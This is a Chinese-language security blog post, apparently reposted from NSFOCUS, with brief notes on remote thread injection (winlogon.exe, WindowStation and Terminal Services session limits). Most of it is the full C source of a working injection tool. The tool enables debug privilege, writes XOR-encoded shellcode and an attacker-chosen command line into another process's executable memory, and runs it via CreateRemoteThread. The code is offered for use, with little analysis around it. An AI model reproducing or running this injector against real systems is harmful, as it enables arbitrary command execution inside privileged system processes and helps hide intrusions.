| 关键词: xD xA NULL static exit ErrorCUI PrintWin GetLastError failed char |
前段时间写<<exploit系列(6)--x86/Windows平台上的缓冲区溢出>>,其间涉及远程线程注入,想到本篇,返回来补充一点内容。sysproc_now.c并不具备良好的可移植性,为了区分2000/XP/2003,被迫用GetVersionEx()做精确的OS版本判断。相较之下远程线程注入更易移植些。 如果试图向winlogon.exe进行远程线程注入,编程时需要指定恰当的WindowStation,否则可能无法与派生的子进程正常交互。 在MSDN中查看GetProcessWindowStation、GetUserObjectInformation等相关函数。 参看Inside 2K([7])第五章的"Interactive Services"小节。 使用终端服务测试CreateRemoteThread_1.c时,可能得到如下错误信息: "CreateRemoteThread() failed: 存储空间不足,无法处理此命令" 在主控台上测试则一切正常。开始以为是WindowStation的问题,转而动态获取其名称,错误信息依旧。后来才想起MSDN中有如下信息: Terminal Services isolates each terminal session by design. Therefore, CreateRemoteThread fails if the target process is in a different sessionthan the calling process. 暂不清楚是否有办法解决,如果没有办法解决,那sysproc_now.c还有存在的必要。 --------------------------------------------------------------------------/** Copyright (C) 2002, 2012* The NSFOCUS INFORMATION TECHNOLOGY CO.,LTD.* -----------------------------------------------------------------------* Author : NSFocus Security Team <[email protected]>* : http://www.nsfocus.com* Maintain : scz <[email protected]>* Version : 2.02* Compile : For x86/EWindows XP SP1 & VC 7* : cl CreateRemoteThread_1.c /nologo /Os /G6 /Gs65536 /W3 /D "WIN32" /D "NDEBUG" /D "_CONSOLE" /MT /link /RELEASE* :* Create : 2003-10-08 13:37* Modify : 2003-10-08 17:02* -----------------------------------------------------------------------* The only thing they can't take from us are our minds. !H*/ /************************************************************************* ** Head File ** *************************************************************************/ #include <stdio.h>#include <stdlib.h>#include <string.h>#include <windows.h> /************************************************************************* ** Macro ** *************************************************************************/ #pragma comment( linker, "/INCREMENTAL:NO" )#pragma comment( linker, "/subsystem:console" )#pragma comment( lib, "kernel32.lib" )#pragma comment( lib, "advapi32.lib" ) #define VERSION "2.02"#define MAXBUFLEN 8192#define CHARBASE 'A'#define CHARESCAPE '_'#define CHARXOR '^' typedef LONG NTSTATUS; #define NT_SUCCESS(status) ((NTSTATUS)(status)>=0)#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L) typedef LONG KPRIORITY; typedef struct _UNICODE_STRING{USHORT Length;USHORT MaximumLength;PWSTR Buffer;} UNICODE_STRING, *PUNICODE_STRING; typedef enum _SYSTEM_INFORMATION_CLASS{SystemProcessesAndThreadsInformation = 5} SYSTEM_INFORMATION_CLASS; typedef struct _SYSTEM_PROCESSES{ULONG NextEntryDelta;ULONG ThreadCount;ULONG Reserved1[6];LARGE_INTEGER CreateTime;LARGE_INTEGER UserTime;LARGE_INTEGER KernelTime;UNICODE_STRING ProcessName;KPRIORITY BasePriority;ULONG ProcessId;ULONG InheritedFromProcessId;} SYSTEM_PROCESSES, *PSYSTEM_PROCESSES; typedef ULONG ( __stdcall *RTLNTSTATUSTODOSERROR ) ( IN NTSTATUS Status );typedef NTSTATUS ( __stdcall *ZWQUERYSYSTEMINFORMATION ) ( IN SYSTEM_INFORMATION_CLASS SystemInformationClass, IN OUT PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength OPTIONAL ); /************************************************************************* ** Function Prototype ** *************************************************************************/ static size_t bufencode(unsigned char *src,unsigned char *dst,size_t srclen);static BOOL DisableCurrentProcessDebugPrivilege(void);static BOOL EnableCurrentProcessDebugPrivilege(void);static DWORD GetPidFromProcessName(wchar_t *ProcessName);static BOOL LocateNtdllEntry(void);static DWORD __stdcall PnameToPid(char *ProcessName);static void PrintWin32ErrorCUI(char *message,DWORD dwMessageId);static void PrintZwErrorCUI(char *message,NTSTATUS status);static BOOL SetCurrentProcessPrivilege(LPCTSTR PrivilegeName,BOOL EnableFlag);static BOOL SetPrivilege(HANDLE TokenHandle,LPCTSTR PrivilegeName,BOOL EnableFlag);static void usage(char *arg); /************************************************************************* ** Static Global Var ** *************************************************************************/ static RTLNTSTATUSTODOSERROR RtlNtStatusToDosError = NULL;static ZWQUERYSYSTEMINFORMATION ZwQuerySystemInformation = NULL; static unsigned char code[] ="\xEB\x19\x5E\x8B\xFE\x33\xD2\xFC\xAC\x3A\xC2\x74\x13\x3C\x5F\x74""\x05\x34\x5E\xAA\xEB\xF2\xAC\x2C\x41\xEB\xF6\xE8\xE2\xFF\xFF\xFF""\xB7\x8F\x5F\xA0\x5E\x5E\x0B\xD5\xB2\x0F\xDD\x3B\xA2\x5E\xD5\x1B""\x56\x51\xE0\x5E\xDB\x9E\x2A\x7C\xD5\x1B\xA2\x9F\xBE\x5B\xD5\x13""\xA2\x9F\xB7\x45\x55\x9F\xD5\x13\x56\x51\xE0\x57\x5D\x9F\xD7\x1B""\xA2\xD5\x1B\x56\x1E\xD7\x1B\x56\xB5\x8A\xD5\x1B\xA2\x97\x9C\x5A""\x5E\x0B\xD5\xB2\xDD\xB2\x06\x34\x1A\xD3\x1B\xF6\x0E\xB6\xBD\x5E""\x5E\x5E\x99\x1B\xF6\x1A\x5E\x5E\x5E\x99\x1B\x8A\x5F\xA0\x5E\x5E""\x5E\xD5\x1B\x4E\xD7\x1B\xEE\x38\x99\x1B\x86\x5F\xA0\x5E\xA1\x2B""\x4E\xB6\xCF\x5E\x5E\x5E\xD5\x13\x4E\xD3\x1A\x5F\xA0\x5F\xA0\xD7""\x1B\x4E\xD3\x1B\xAE\x0E\xD3\x1B\xF6\x0E\x34\x5E\x34\x5E\x36\x4E""\x5C\x5E\x5E\x34\x5F\xA0\x34\x5E\x34\x5E\xA1\x2B\x4E\x34\x5E\xA1""\x0B\x56\xDB\x9E\x2A\x52\xA1\x2B\xAA\xA1\x0B\x52\xA1\x2B\xAE\xA1""\x0B\x52\x97\x9C\x52\x5E\x0B\xD5\xB2\x0F\x0F\xD5\x1B\x42\xD7\x1B""\xA6\xDD\x3B\xA2\x5E\xB5\x59\xD5\x1B\xA2\x1E\xD7\x1B\xA2\xD5\x1B""\xA2\x65\x1B\x7E\x2D\x73\xD5\x1B\xA6\xA1\x6E\xA1\x2B\x46\xA1\x2B""\x4A\xA1\x2B\x4E\xA1\x2B\x52\xA1\x2B\x56\xB6\x29\x5E\x5E\x5E\xD5""\x13\xA2\xD5\x0B\x7A\xD7\x5A\xD4\xD5\x1B\xA6\xDD\x9E\x5A\xD7\x1B""\xA6\xB5\x9A\xD5\x1B\xA6\x97\x9C\x7E\x5E\x0B\xD5\xB2\x0F\x0F\xDD""\x3B\xA6\x5E\xD5\x1B\x56\xD7\x1B\xA2\xD5\x1B\xA2\x51\xE0\x5E\xD5""\x13\xA2\x1F\xD7\x13\xA2\xDB\x9E\x2A\x57\xD5\x1B\xA6\x1E\xD7\x1B""\xA6\xB5\xB8\xD5\x1B\xA6\x97\x9C\x5A\x5E\x0B\xD5\xB2\x0F\xDD\x3B""\xA2\x5E\xB5\x59\xD5\x1B\xA2\x1E\xD7\x1B\xA2\xD5\x1B\xA2\x65\x1B""\x52\x2D\x51\xD5\x1B\x56\xDE\x7E\x5E\xD5\x1B\x56\x1E\xD7\x1B\x56""\xB5\xBC\x97\x9C\x56\x5E\x0B\xD5\xB2\xDD\xB2\x4E\xDD\x3B\xA6\x5E""\xDD\x3B\xA2\x5E\xDD\x3B\xAA\x5E\xDD\x3B\xAE\x5E\xDD\x3B\xA6\x5E""\xB5\x59\xD5\x1B\xA6\x1E\xD7\x1B\xA6\xD5\x1B\xA6\x65\x1B\x46\x2D""\x1B\xD5\x1B\xA6\xD5\x13\x4E\xD5\x0B\x56\x5D\x4A\xDF\xD7\x0B\xAA""\xA1\x2B\xAA\xB6\x3D\xA0\xA1\xA1\xD7\x1B\xA2\xD5\x1B\xA2\x65\x1B""\x42\x2B\x7F\xD5\x1B\xA6\xD5\x13\x4A\x51\xE9\x5A\x1F\xD7\x1B\xA6""\xD5\x1B\xA6\xD5\x13\x52\xD5\x0B\x56\x5D\x4A\xDF\xD7\x0B\xAE\xD5""\x1B\xAE\xB5\x5A\xB5\xF2\x6D\x9E\x97\x9C\x46\x5E\x0B\xD5\xB2\xDD""\xB2\x66\xDD\x3B\xB2\x5E\xDD\x3B\xA2\x5E\xDD\x3B\xBE\x5E\xDD\x3B""\x8A\x5E\xDD\x3B\x86\x5E\xDD\x3B\xAE\x5E\xDD\x3B\xAA\x5E\xDD\x3B""\x82\x5E\xDD\x3B\xA6\x5E\xDD\x3B\x96\x5E\xDD\x3B\xB6\x5E\xDD\x3B""\xBA\x5E\xB7\xEF\x5E\x5E\x5E\xD1\x1B\xBA\xE6\xB7\xDC\x1E\x5E\x73""\xB9\xDC\x1E\x5E\x5F\xA0\x1B\xBA\x3A\xFF\x6E\x5E\x5E\x5E\xD7\x1B""\xB2\xD5\x1B\xB2\xD5\x1E\x52\xD7\x1B\xA2\xD5\x1B\xA2\xD5\x1E\x42""\xD7\x1B\xBE\xD5\x1B\xBE\xD5\x5E\xD7\x1B\xBE\xD5\x1B\xBE\xD5\x1E""\x56\xD7\x1B\x8A\xD5\x1B\x8A\xD5\x1E\x62\xD7\x1B\xB6\xD5\x1B\x8A""\x5D\x1B\xB6\xD5\x13\x8A\x5D\x16\x26\xD7\x13\x86\xD5\x1B\x86\xD5""\x1E\x46\xD7\x1B\xAE\xD5\x1B\x86\xD5\x1E\x42\x5D\x1B\x8A\xD7\x1B""\xAA\xD5\x1B\x86\xD5\x1E\x7E\x5D\x1B\x8A\xD7\x1B\x82\xD5\x1B\x86""\xD5\x1E\x7A\x5D\x1B\x8A\xD7\x1B\x96\xD3\x1B\x92\x0E\x34\x5C\xA1""\x2B\xBA\xA1\x2B\xAE\xA1\x2B\x96\xA1\x2B\x82\xA1\x2B\xAA\xA1\x2B""\x8A\xB6\x5F\xA0\xA0\xA1\xA1\xD7\x1B\xBA\xA1\x2B\xBA\xA1\x2B\x8E""\xA1\x2B\x92\xB6\xDE\xA3\xA1\xA1\xB5\x5B\xB6\x14\xA1\xA1\xA1\x97""\x9D\x95\x1C\x29\xE6\xC8\xCE\x3C\x89\x09\x37\x30\x0D\x2A\x3F\x6E""\x02\x1A\x3B\x38\x3F\x2B\x32\x2A\x5E"; /************************************************************************/ static size_t bufencode ( unsigned char *src, unsigned char *dst, size_t srclen ){unsigned char c;size_t i, j; for ( i = 0, j = 0; i < srclen; i++, j++ ){dst[j] = src[i] ^ CHARXOR;c = dst[j];if ( 0x00 == c || CHARESCAPE == c ){dst[j] = CHARESCAPE;j++;dst[j] = c + CHARBASE;}}return( j );} /* end of bufencode */ static BOOL DisableCurrentProcessDebugPrivilege ( void ){return( SetCurrentProcessPrivilege( SE_DEBUG_NAME, FALSE ) );} /* end of DisableCurrentProcessDebugPrivilege */ static BOOL EnableCurrentProcessDebugPrivilege ( void ){return( SetCurrentProcessPrivilege( SE_DEBUG_NAME, TRUE ) );} /* end of EnableCurrentProcessDebugPrivilege */ static DWORD GetPidFromProcessName ( wchar_t *ProcessName ){NTSTATUS status;PVOID buf = NULL;ULONG size = 1;PSYSTEM_PROCESSES proc = NULL;ULONG delta = 0;DWORD pid = 0; for ( size = 1; ; size *= 2 ){if ( NULL == ( buf = calloc( size, 1 ) ) ){fprintf( stderr, "calloc( %u, 1 ) failed\n", size );goto GetPidFromProcessName_exit;}status = ZwQuerySystemInformation( SystemProcessesAndThreadsInformation, buf, size, NULL );if ( !NT_SUCCESS( status ) ){if ( STATUS_INFO_LENGTH_MISMATCH == status ){free( buf );buf = NULL;}else{PrintZwErrorCUI( "ZwQuerySystemInformation() failed", status );goto GetPidFromProcessName_exit;}}else{break;}} /* end of for */proc = ( PSYSTEM_PROCESSES )buf;do{if ( NULL != proc->ProcessName.Buffer ){if ( 0 == _wcsicmp( ProcessName, proc->ProcessName.Buffer ) ){pid = proc->ProcessId;break;}}delta = proc->NextEntryDelta;proc = ( PSYSTEM_PROCESSES )( ( char * )proc + delta );}while ( 0 != delta ); GetPidFromProcessName_exit: if ( buf != NULL ){free( buf );buf = NULL;}return( pid );} /* end of GetPidFromProcessName */ static BOOL LocateNtdllEntry ( void ){BOOL ret = FALSE;char NTDLL_DLL[] = "ntdll.dll";HMODULE ntdll_dll = NULL; if ( ( ntdll_dll = GetModuleHandle( NTDLL_DLL ) ) == NULL ){PrintWin32ErrorCUI( "GetModuleHandle() failed", GetLastError() );return( ret );}if ( !( RtlNtStatusToDosError = ( RTLNTSTATUSTODOSERROR )GetProcAddress(ntdll_dll,"RtlNtStatusToDosError") ) ){goto LocateNtdllEntry_exit;}if ( !( ZwQuerySystemInformation = ( ZWQUERYSYSTEMINFORMATION )GetProcAddress(ntdll_dll,"ZwQuerySystemInformation") ) ){goto LocateNtdllEntry_exit;}ret = TRUE; LocateNtdllEntry_exit: if ( FALSE == ret ){PrintWin32ErrorCUI( "GetProcAddress() failed", GetLastError() );}ntdll_dll = NULL;return( ret );} /* end of LocateNtdllEntry */ static DWORD __stdcall PnameToPid ( char *ProcessName ){int i;WCHAR *ProcessNameW = NULL;DWORD Pid = 0; i = MultiByteToWideChar(CP_ACP,0,ProcessName,( int )( strlen( ProcessName ) + 1 ),NULL,0);if ( 0 == i ){PrintWin32ErrorCUI( "MultiByteToWideChar() failed [0]", GetLastError() );goto InjectCodeToProcessByName_exit;}ProcessNameW = ( WCHAR * )HeapAlloc( GetProcessHeap(), HEAP_ZERO_MEMORY, i * sizeof( WCHAR ) );if ( NULL == ProcessNameW ){PrintWin32ErrorCUI( "HeapAlloc() failed", ERROR_NOT_ENOUGH_MEMORY );goto InjectCodeToProcessByName_exit;}if ( 0 == MultiByteToWideChar(CP_ACP,0,ProcessName,( int )( strlen( ProcessName ) + 1 ),ProcessNameW,i) ){PrintWin32ErrorCUI( "MultiByteToWideChar() failed [1]", GetLastError() );goto InjectCodeToProcessByName_exit;}wprintf( L"%s\n", ProcessNameW );if ( 0 == ( Pid = GetPidFromProcessName( ProcessNameW ) ) ){fprintf( stderr, "GetPidFromProcessName() failed\n" );goto InjectCodeToProcessByName_exit;} InjectCodeToProcessByName_exit: if ( NULL != ProcessNameW ){HeapFree( GetProcessHeap(), 0, ProcessNameW );ProcessNameW = NULL;}return( Pid );} /* end of PnameToPid */ static void PrintWin32ErrorCUI ( char *message, DWORD dwMessageId ){char *errMsg; FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM,NULL,dwMessageId,MAKELANGID( LANG_NEUTRAL, SUBLANG_DEFAULT ),( LPTSTR )&errMsg,0,NULL);fprintf( stderr, "%s: %s", message, errMsg );LocalFree( errMsg );return;} /* end of PrintWin32ErrorCUI */ static void PrintZwErrorCUI ( char *message, NTSTATUS status ){char *errMsg; FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM,NULL,RtlNtStatusToDosError( status ),MAKELANGID( LANG_NEUTRAL, SUBLANG_DEFAULT ),( LPTSTR )&errMsg,0,NULL);fprintf( stderr, "%s: %s", message, errMsg );LocalFree( errMsg );return;} /* end of PrintZwErrorCUI */ static BOOL SetCurrentProcessPrivilege ( LPCTSTR PrivilegeName, BOOL EnableFlag ){HANDLE TokenHandle = ( HANDLE )-1;BOOL ret = TRUE; if ( FALSE == OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &TokenHandle ) ){PrintWin32ErrorCUI( "OpenProcessToken() failed", GetLastError() );ret = FALSE;goto SetCurrentProcessPrivilege_exit;}ret = SetPrivilege( TokenHandle, PrivilegeName, EnableFlag ); SetCurrentProcessPrivilege_exit: if ( TokenHandle != ( HANDLE )-1 ){CloseHandle( TokenHandle );TokenHandle = ( HANDLE )-1;}return( ret );} /* end of SetCurrentProcessPrivilege */ static BOOL SetPrivilege ( HANDLE TokenHandle, LPCTSTR PrivilegeName, BOOL EnableFlag ){DWORD error;BOOL ret = FALSE;TOKEN_PRIVILEGES tp ={1,{{ { 0, 0 }, 0 }}}; if ( TRUE == EnableFlag ){tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;}if ( FALSE == LookupPrivilegeValue( NULL, PrivilegeName, &tp.Privileges[0].Luid ) ){PrintWin32ErrorCUI( "LookupPrivilegeValue() failed", GetLastError() );goto SetPrivilege_exit;}if ( FALSE == AdjustTokenPrivileges( TokenHandle, FALSE, &tp, sizeof( tp ), NULL, NULL ) ){PrintWin32ErrorCUI( "AdjustTokenPrivileges() failed", GetLastError() );goto SetPrivilege_exit;}else{error = GetLastError();if ( ERROR_SUCCESS != error ){PrintWin32ErrorCUI( "AdjustTokenPrivileges() failed", error );goto SetPrivilege_exit;}}ret = TRUE; SetPrivilege_exit: return( ret );} /* end of SetPrivilege */ static void usage ( char *arg ){fprintf(stderr,"Usage: %s [-h] [-v] [-c cmdline] [-p pid] [-q pname]\n",arg);exit( EXIT_FAILURE );} /* end of usage */ int __cdecl main ( int argc, char * argv[] ){int ret = EXIT_FAILURE,c;HANDLE hProcess = NULL,hThread = NULL;char *cmdline = NULL;DWORD pid = 0;char *pname = NULL;LPVOID remotebuf = NULL;unsigned char buf[MAXBUFLEN];size_t j; if ( 1 == argc ){usage( argv[0] );}for ( c = 1; c < argc; c++ ){if ( ( ( argv[c][0] != '-' ) && ( argv[c][0] != '/' ) ) || ( strlen( argv[c] ) < 2 ) ){usage( argv[0] );}else{switch ( tolower( argv[c][1] ) ){case 'c':if ( ( c + 1 ) >= argc ){usage( argv[0] );}cmdline = argv[++c];break;case 'p':if ( ( c + 1 ) >= argc ){usage( argv[0] );}pid = ( DWORD )strtoul( argv[++c], NULL, 0 );break;case 'q':if ( ( c + 1 ) >= argc ){usage( argv[0] );}pname = argv[++c];break;case 'v':fprintf( stderr, "%s ver "VERSION"\n", argv[0] );return( EXIT_SUCCESS );case 'h':case '?':default:usage( argv[0] );break;} /* end of switch */}} /* end of for */if ( NULL == cmdline ){fprintf( stderr, "Checking your [-c cmdline]\n" );return( ret );}if ( 0 == pid && NULL == pname ){fprintf( stderr, "Checking your [-p pid] [-q pname]\n" );return( ret );}EnableCurrentProcessDebugPrivilege();ZeroMemory( buf, sizeof( buf ) );j = strlen( code );memcpy( buf, code, j );j += bufencode( cmdline, buf + j, strlen( cmdline ) + 1 ) + 1;if ( FALSE == LocateNtdllEntry() ){fprintf( stderr, "LocateNtdllEntry() failed\n" );goto main_exit;}if ( NULL != pname ){pid = PnameToPid( pname );}if ( 0 == pid ){fprintf( stderr, "Checking your [-p pid] [-q pname]\n" );goto main_exit;}else{printf( "pid = %u\n", pid );}hProcess = OpenProcess( PROCESS_CREATE_THREAD |PROCESS_QUERY_INFORMATION |PROCESS_VM_OPERATION |PROCESS_VM_READ |PROCESS_VM_WRITE,FALSE,pid);if ( NULL == hProcess ){PrintWin32ErrorCUI( "OpenProcess() failed", GetLastError() );goto main_exit;}remotebuf = VirtualAllocEx(hProcess,NULL,j,MEM_COMMIT,PAGE_EXECUTE_READWRITE);if ( NULL == remotebuf ){PrintWin32ErrorCUI( "VirtualAllocEx() failed", GetLastError() );goto main_exit;}if ( 0 == WriteProcessMemory(hProcess,remotebuf,buf,j,NULL) ){PrintWin32ErrorCUI( "WriteProcessMemory() failed", GetLastError() );goto main_exit;}hThread = CreateRemoteThread(hProcess,NULL,0,( LPTHREAD_START_ROUTINE )remotebuf,NULL,0,NULL);if ( NULL == hThread ){PrintWin32ErrorCUI( "CreateRemoteThread() failed", GetLastError() );goto main_exit;}if ( WAIT_FAILED == WaitForSingleObject( hThread, INFINITE ) ){PrintWin32ErrorCUI( "WaitForSingleObject() failed", GetLastError() );goto main_exit;}printf( "\nYou should see this message\n" );ret = EXIT_SUCCESS; main_exit: if ( NULL != hThread ){CloseHandle( hThread );hThread = NULL;}if ( NULL != hProcess ){if ( NULL != remotebuf ){VirtualFreeEx( hProcess, remotebuf, 0, MEM_RELEASE );remotebuf = NULL;}CloseHandle( hProcess );hProcess = NULL;}DisableCurrentProcessDebugPrivilege();return( ret );} /* end of main */ /************************************************************************/ |
|
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|